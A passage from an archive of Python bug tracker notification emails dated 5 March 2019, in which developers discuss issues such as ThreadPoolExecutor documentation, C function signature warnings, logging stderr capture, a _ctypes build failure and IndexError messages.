Date: Tue, 05 Mar 2019 15:23:42 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551799422.32.0.732403776367.issue36195@roundup.psfhosted.org>


Harmandeep Singh <harmandeep3091 at gmail.com> added the comment:

I will raise a PR

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:25:53 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 15:25:53 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551799553.82.0.693193687965.issue36195@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

ok, I was working on a PR for this issue. but I am going to classify it as easy.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:26:01 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 15:26:01 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551799561.35.0.384801852958.issue36195@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +easy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:26:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 15:26:32 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551799592.13.0.969174365175.issue29571@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I don't understand the relationship with bpo-20087, so I removed the dependency.

I fixed test_re in 3.7 and master branches. I close the issue.

----------
dependencies:  -Mismatch between glibc and X11 locale.alias
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.8 -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:27:27 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 15:27:27 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551799647.89.0.484979321794.issue36195@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

harman786 good luck for your PR, if you need a review.

Have a nice day,

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:27:56 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 15:27:56 +0000
Subject: [issue36198] Misleading in library/sets document
In-Reply-To: <1551796490.3.0.534050934709.issue36198@roundup.psfhosted.org>
Message-ID: <1551799676.81.0.779849231677.issue36198@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

To add to this is actually present in sets module documentation which has been deprecated since 2.6 though the report is true that the methods don't return a set.

Link : https://docs.python.org/2/library/sets.html#set-objects

----------
nosy: +rhettinger, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36198>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:30:39 2019
From: report at bugs.python.org (Riccardo Magliocchetti)
Date: Tue, 05 Mar 2019 15:30:39 +0000
Subject: [issue36015] streamhandler cannot represent streams with an integer
 as name
In-Reply-To: <1550431224.14.0.504793638163.issue36015@roundup.psfhosted.org>
Message-ID: <1551799839.46.0.554728024487.issue36015@roundup.psfhosted.org>


Riccardo Magliocchetti <riccardo.magliocchetti at gmail.com> added the comment:

@Vinay Do you have any update on this? thanks

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36015>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:31:53 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 15:31:53 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551799913.44.0.028314154738.issue36197@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12176

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:33:51 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 15:33:51 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551800031.22.0.883291977905.issue36197@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This is not correct fix for tuplegetter_reduce. tuplegetter_reduce should have two parameters, just the second is unused.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:33:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 15:33:58 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
In-Reply-To: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>
Message-ID: <1551800038.36.0.949538462601.issue36196@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

related uwsgi issue : https://github.com/unbit/uwsgi/issues/670

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:36:46 2019
From: report at bugs.python.org (=?utf-8?q?Andrius_Laukavi=C4=8Dius?=)
Date: Tue, 05 Mar 2019 15:36:46 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551800206.31.0.709870130443.issue36193@roundup.psfhosted.org>


Andrius Laukavi?ius <anlaukavic at gmail.com> added the comment:

Peter Otten thanks for examples,
though with capture_output function, I had a little bit different intentions.

At first I actually did similarly as you described in case 2, where I called BasicConfig explicitly. Then I could specify where to redirect stream and what to do after I was done with capturing stderr (just reset back where it would be on default).

Though I actually wanted to just capture stdout and stderr indirectly, meaning I don't want to specifically initiate logging object or modify it.

I mean, I want to just capture any stdout/stderr that would be outputed while running some function that was passed via `target` argument (in my capture_output function). In this case, some function that I capture output from, might have some different way to handle sys.stderr (e.g. different basicConfig or some other implementation where sys.stderr is handled?).

So it is not possible to consistently manage stderr when it involves logging library without explicitly "manage" it?

P.S. don't know if I'm clear enough, so please ask me to clarify anything if its not clear..:)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:41:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 15:41:16 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551800476.71.0.908259003365.issue36197@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi @serhiy,

Thank you for your PR, I prefer your patch, just because you have just added the PyObject *Py_UNUSED(ignored) to the tuplegetter_reduce function. And in this case, you don't need to cast to (void(*)(void)).

I will use this tip for the next time.

Thank

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:45:46 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 15:45:46 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551800746.24.0.126816491455.issue36197@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This is only for methods with METH_NOARGS. The code that calls such method, calls it with two arguments, passing NULL as the second argument. So the signature of the C function should have two parameters. Functions for methods with METH_KEYWORDS or METH_FASTCALL should have different corresponding signatures.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:50:14 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 15:50:14 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551801014.52.0.780473426812.issue36193@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I find issue6333 slightly relatable to this issue where it talks about external modules possibly closing sys.stdout/stderr.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:57:03 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 15:57:03 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1551801423.49.0.283758028125.issue36097@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

I'll re-merge this once this problem in issue #33608 is resolved.

----------
resolution: fixed -> 
stage: resolved -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:58:02 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 05 Mar 2019 15:58:02 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
In-Reply-To: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>
Message-ID: <1551801482.73.0.837270365404.issue36196@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I don't think this is a documentation bug.  They insert "uwsgi" to "sys.executable" manually.

https://github.com/unbit/uwsgi/blob/3149df02ed443131c54ea6afb29fcbb0ed4d1139/plugins/python/pyutils.c#L398-402

#ifdef PYTHREE
	PyDict_SetItemString(sys_dict, "executable", PyUnicode_FromString(uwsgi.binary_path));
#else
	PyDict_SetItemString(sys_dict, "executable", PyString_FromString(uwsgi.binary_path));
#endif

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:06:32 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 16:06:32 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1551801992.69.0.373263891699.issue36097@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Actually, this is independent of that change.  It had to be reverted because the PR was based on the earlier PR from #33608.  So I may merge this separately...or not, since it would mean having to sort out merge conflicts. :)

----------
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:07:33 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 05 Mar 2019 16:07:33 +0000
Subject: [issue35782] Missing whitespace after comma in randrange raise error
In-Reply-To: <1547877212.85.0.682089452337.issue35782@roundup.psfhosted.org>
Message-ID: <1551802053.21.0.995032915634.issue35782@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Assigning to Raymond regarding the question about the backport.

----------
assignee: cheryl.sabella -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35782>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:08:16 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 16:08:16 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551802096.02.0.713172444332.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Thanks for taking a look Victor!  That info is helpful.  It will likely be a few days before I can sort this out.

Once I have addressed the problem I'll re-merge.  I plan on using the "buildbot-custom" branch to make sure the buildbots are happy with the change before making that PR.

----------
stage: patch review -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:12:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 16:12:03 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551802323.34.0.369176407566.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12177

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:14:44 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 16:14:44 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
In-Reply-To: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>
Message-ID: <1551802484.54.0.753367565292.issue36177@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

This is resolved with gh-12159, no?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:16:30 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 16:16:30 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551802590.42.0.269261004706.issue36114@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

This is resolved with gh-12159, no?

----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:16:39 2019
From: report at bugs.python.org (Eric Snow)
Date: Tue, 05 Mar 2019 16:16:39 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551802599.74.0.701049968748.issue36116@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

This is resolved with gh-12159, no?

----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:32:35 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 05 Mar 2019 16:32:35 +0000
Subject: [issue34484] Unicode HOWTO incorrectly refers to Private Use Area for
 surrogateescape
In-Reply-To: <1535058879.5.0.56676864532.issue34484@psf.upfronthosting.co.za>
Message-ID: <1551803555.3.0.909601586111.issue34484@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

Thanks for the fix. @akuchling: safe to close this issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34484>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:33:16 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 05 Mar 2019 16:33:16 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1551803596.85.0.500036271032.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> Would this be a hard drop, i.e. would installing 3.8 be prevented in Windows 7? Or would it install but require users to manually install KB2533623?

That's the question I'm asking :)

Python 3.9 is currently going to be a hard drop, according to our policy, and if Python 3.8 slips by 3 months then it will also be a hard drop unless we make an exception to the policy.

Paul's comment suggests we should avoid slipping/make the exception, and that it's okay to require the update, which is basically where I'm at too (provided the buildbot team are willing to keep an EOL'd OS running for as long as 3.8 is supported).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:36:39 2019
From: report at bugs.python.org (Mr. Pligin)
Date: Tue, 05 Mar 2019 16:36:39 +0000
Subject: [issue31652] make install fails: no module _ctypes
In-Reply-To: <1506812661.87.0.213398074469.issue31652@psf.upfronthosting.co.za>
Message-ID: <1551803799.78.0.705244957663.issue31652@roundup.psfhosted.org>


Mr. Pligin <pligin103 at gmail.com> added the comment:

Linux Mint 19.1

sudo make altinstall

Traceback (most recent call last):
  File "/usr/src/Python-3.7.2/Lib/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/src/Python-3.7.2/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/src/Python-3.7.2/Lib/ensurepip/__main__.py", line 5, in <module>
    sys.exit(ensurepip._main())
  File "/usr/src/Python-3.7.2/Lib/ensurepip/__init__.py", line 204, in _main
    default_pip=args.default_pip,
  File "/usr/src/Python-3.7.2/Lib/ensurepip/__init__.py", line 117, in _bootstrap
    return _run_pip(args + [p[0] for p in _PROJECTS], additional_paths)
  File "/usr/src/Python-3.7.2/Lib/ensurepip/__init__.py", line 27, in _run_pip
    import pip._internal
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/__init__.py", line 40, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/cli/autocompletion.py", line 8, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/cli/main_parser.py", line 12, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/commands/__init__.py", line 6, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/commands/completion.py", line 6, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/cli/base_command.py", line 18, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/download.py", line 38, in <module>
  File "/tmp/tmpc5nmmwk0/pip-18.1-py2.py3-none-any.whl/pip/_internal/utils/glibc.py", line 3, in <module>
  File "/usr/src/Python-3.7.2/Lib/ctypes/__init__.py", line 7, in <module>
    from _ctypes import Union, Structure, Array
ModuleNotFoundError: No module named '_ctypes'
Makefile:1140: recipe for target 'altinstall' failed
make: *** [altinstall] Error 1

----------
nosy: +Mr. Pligin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31652>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:37:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 16:37:55 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551803875.29.0.494424062831.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset b35be4b3334fbc471a39abbeb68110867b72e3e5 by Victor Stinner in branch 'master':
bpo-36142: Add _PyPreConfig.allocator (GH-12181)
https://github.com/python/cpython/commit/b35be4b3334fbc471a39abbeb68110867b72e3e5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:41:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 16:41:13 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551804073.01.0.915606032353.issue36197@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset adfffc7343ce7ebc88ec734a803d3247ba8927fb by Serhiy Storchaka in branch 'master':
Fix the C function signature for _collections._tuplegetter.__reduce__. (GH-12180)
https://github.com/python/cpython/commit/adfffc7343ce7ebc88ec734a803d3247ba8927fb


----------
resolution: duplicate -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:43:31 2019
From: report at bugs.python.org (Michel Nijs)
Date: Tue, 05 Mar 2019 16:43:31 +0000
Subject: [issue36199] libzmq.dll causes uncontrollable screen flickering when
 accessing windows 2012 R2 server through remote desktop
Message-ID: <1551804211.97.0.598936212645.issue36199@roundup.psfhosted.org>


New submission from Michel Nijs <m at nijs.co>:

My internal Windows team has identified libzmq.dll to be the culprit. When the file is renamed and the server restarted, the issue goes away.

The screen/desktop flickers multiple times per second and we cannot click on anything or do anything on the server because of it.

----------
messages: 337227
nosy: Michel Nijs
priority: normal
severity: normal
status: open
title: libzmq.dll causes uncontrollable screen flickering when accessing windows 2012 R2 server through remote desktop
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36199>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:44:02 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Tue, 05 Mar 2019 16:44:02 +0000
Subject: [issue35989] ipaddress.IPv4Network allows prefix > 32
In-Reply-To: <1550074435.28.0.00523777369606.issue35989@roundup.psfhosted.org>
Message-ID: <1551804242.39.0.840853914199.issue35989@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi @maxtrixise, thanks for PR,

> there is a function for the validation of an address with the netmask

Which one do you want to use?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35989>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:51:56 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 05 Mar 2019 16:51:56 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551804716.5.0.0347412935989.issue29515@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> do you mind if I make a PR with your code(I will of course author you)?

Go for it. I prefer no credit, but you're free to do as you wish.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:54:42 2019
From: report at bugs.python.org (Aditya Shankar)
Date: Tue, 05 Mar 2019 16:54:42 +0000
Subject: [issue36200] display index on Index
Message-ID: <1551804882.72.0.0702096942552.issue36200@roundup.psfhosted.org>


Change by Aditya Shankar <aditniru at gmail.com>:


----------
nosy: Aditya Shankar
priority: normal
severity: normal
status: open
title: display index on Index

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:56:35 2019
From: report at bugs.python.org (Aditya Shankar)
Date: Tue, 05 Mar 2019 16:56:35 +0000
Subject: [issue36200] display index on IndexError
Message-ID: <1551804995.85.0.68041562908.issue36200@roundup.psfhosted.org>


Change by Aditya Shankar <aditniru at gmail.com>:


----------
components: +Interpreter Core
title: display index on Index -> display index on IndexError
type:  -> enhancement
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 11:59:48 2019
From: report at bugs.python.org (James Edwards)
Date: Tue, 05 Mar 2019 16:59:48 +0000
Subject: [issue35989] ipaddress.IPv4Network allows prefix > 32
In-Reply-To: <1550074435.28.0.00523777369606.issue35989@roundup.psfhosted.org>
Message-ID: <1551805188.28.0.80361302322.issue35989@roundup.psfhosted.org>


James Edwards <jheiv at jheiv.com> added the comment:

It may be worth also addressing the fact that IPv6Network makes no restriction on it's netmask (when specified as a tuple).

----------
nosy: +jedwards

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35989>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:00:44 2019
From: report at bugs.python.org (Aditya Shankar)
Date: Tue, 05 Mar 2019 17:00:44 +0000
Subject: [issue36200] display index on IndexError
Message-ID: <1551805244.83.0.831633473388.issue36200@roundup.psfhosted.org>


New submission from Aditya Shankar <aditniru at gmail.com>:

considering a list of 5 elements, if the 6th element is asked, the Interpreter would raise IndexError: list index out of range,
I think It'd be better if it actually said what the invalid index is

Improvement benefits:
*quicker debugging of faulty python code
*person debugging does not need to edit and restart the program to fix issue, sometimes at least

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:09:56 2019
From: report at bugs.python.org (Harmandeep Singh)
Date: Tue, 05 Mar 2019 17:09:56 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551805796.2.0.945603158367.issue36195@roundup.psfhosted.org>


Change by Harmandeep Singh <harmandeep3091 at gmail.com>:


----------
keywords: +patch
pull_requests: +12178
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:12:54 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Tue, 05 Mar 2019 17:12:54 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551805974.95.0.52235418889.issue29515@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
keywords: +patch
pull_requests: +12179
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:27:47 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 17:27:47 +0000
Subject: [issue36200] display index on IndexError
In-Reply-To: <1551805244.83.0.831633473388.issue36200@roundup.psfhosted.org>
Message-ID: <1551806867.77.0.407763724903.issue36200@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Possibly related issues in the past : 
issue18162, issue1534607 , issue21911, https://www.python.org/dev/peps/pep-0473/

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:33:15 2019
From: report at bugs.python.org (Aditya Shankar)
Date: Tue, 05 Mar 2019 17:33:15 +0000
Subject: [issue36200] display index on IndexError
In-Reply-To: <1551805244.83.0.831633473388.issue36200@roundup.psfhosted.org>
Message-ID: <1551807195.29.0.731481598328.issue36200@roundup.psfhosted.org>


Aditya Shankar <aditniru at gmail.com> added the comment:

closed as this is a duplicate for https://bugs.python.org/issue18162

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:35:31 2019
From: report at bugs.python.org (Open Close)
Date: Tue, 05 Mar 2019 17:35:31 +0000
Subject: [issue35031] test_asyncio test_start_tls_server_1 fails in AMD64
 FreeBSD CURRENT buildbots
In-Reply-To: <1540044407.71.0.788709270274.issue35031@psf.upfronthosting.co.za>
Message-ID: <1551807331.81.0.642428266606.issue35031@roundup.psfhosted.org>


Change by Open Close <openandclose23 at gmail.com>:


----------
nosy: +op368

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35031>
_______________________________________

From report at bugs.python.org  Tue Mar  5 12:38:00 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 05 Mar 2019 17:38:00 +0000
Subject: [issue36200] display index on IndexError
In-Reply-To: <1551805244.83.0.831633473388.issue36200@roundup.psfhosted.org>
Message-ID: <1551807480.99.0.152484379095.issue36200@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> duplicate
superseder:  -> Add index attribute to IndexError

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36200>
_______________________________________

From report at bugs.python.org  Tue Mar  5 13:02:46 2019
From: report at bugs.python.org (Open Close)
Date: Tue, 05 Mar 2019 18:02:46 +0000
